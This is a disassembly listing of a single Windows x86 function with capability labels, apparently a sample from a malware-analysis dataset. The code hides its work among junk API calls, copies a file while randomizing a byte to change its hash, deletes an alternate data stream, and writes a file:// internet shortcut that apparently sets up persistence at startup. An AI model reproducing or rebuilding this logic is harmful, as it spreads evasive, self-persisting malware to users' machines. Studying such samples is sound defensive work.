Function at 0x4015a8
Capabilities:
Delete file
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x65c
mov dword [esp], str.Example.txt
call sub.KERNEL32.dll_DeleteFileA
push eax
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push edx
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push ecx
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x12e
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push esi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push edi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push ebp
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x76
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov edi, 0x4070b9
mov ecx, 2
mov esi, dword [esp + 0x674]
repe cmpsb byte [esi], byte es:[edi]
jne 0x4016cc
add esp, 0x65c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x13e
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 4], str.hqV__y__G__K__Te
mov dword [esp], str._e_vAdtS
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp + 4], 0x35c
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 4], 0x18
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov dword [esp], 0x409240
call sub.KERNEL32.dll_CreateFileW
sub esp, 0x1c
mov esi, eax
cmp eax, 0xffffffff
je 0x401cdc
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_GetFileSize
sub esp, 8
mov edi, eax
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov ebp, eax
mov dword [esp + 0x10], 0
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov dword [esp + 4], ebp
mov dword [esp], esi
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov dword [esp], esi
call sub.KERNEL32.dll_CloseHandle
push eax
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
and eax, 0x800000ff
js 0x401ce8
mov dword [esp + 0x30], eax
mov byte [ebp + edi - 1], al
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov eax, dword [esp + 0x670]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov ebx, eax
cmp eax, 0xffffffff
je 0x401cdc
mov dword [esp + 0x10], 0
lea esi, [esp + 0x28]
mov dword [esp + 0xc], esi
mov dword [esp + 8], edi
mov dword [esp + 4], ebp
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov dword [esp], ebx
call sub.KERNEL32.dll_CloseHandle
push ebp
mov dword [esp + 4], 0x2e1
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push ecx
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x234
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov eax, dword [esp + 0x670]
mov dword [esp + 4], eax
lea edi, [esp + 0x13b]
mov dword [esp], edi
call sub.KERNEL32.dll_lstrcpyA
sub esp, 8
mov dword [esp + 4], str.:stm
mov dword [esp], edi
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp], edi
call sub.KERNEL32.dll_DeleteFileA
push ebx
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push edi
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 4], 0xc6
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push ebp
mov dword [esp + 4], str._InternetShortcut__nURL
lea edi, [esp + 0x37]
mov dword [esp], edi
call sub.KERNEL32.dll_lstrcpyA
sub esp, 8
mov dword [esp + 4], str._file:___
mov dword [esp], edi
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov eax, dword [esp + 0x670]
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov dword [esp + 4], 0x4070fc
mov dword [esp], edi
call sub.KERNEL32.dll_lstrcatA
sub esp, 8
mov eax, dword [esp + 0x674]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
push edx
inc eax
mov dword [esp + 8], eax
lea ebp, [esp + 0x448]
mov dword [esp + 4], ebp
mov eax, dword [esp + 0x674]
mov dword [esp], eax
call fcn.0040137c
mov dword [esp + 0xc], 0
mov dword [esp + 8], 7
lea ebx, [esp + 0x240]
mov dword [esp + 4], ebx
mov dword [esp], 0
call dword [0x409488]
sub esp, 0x10
mov dword [esp + 4], 0x407100
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrcatW
sub esp, 8
mov dword [esp + 4], ebp
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrcatW
sub esp, 8
mov dword [esp + 4], 0x407104
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrcatW
sub esp, 8
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], ebx
call sub.KERNEL32.dll_CreateFileW
sub esp, 0x1c
mov ebx, eax
mov dword [esp], edi
call sub.KERNEL32.dll_lstrlenA
push ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], esi
inc eax
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], ebx
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov dword [esp], ebx
call sub.KERNEL32.dll_CloseHandle
push ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1c8
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push esi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1b4
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push edi
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
add esp, 0x65c
pop ebx
pop esi
pop edi
pop ebp
ret
lea esi, [esp + 0x28]
jmp 0x4018c5
dec eax
or eax, 0xffffff00
inc eax
jmp 0x401844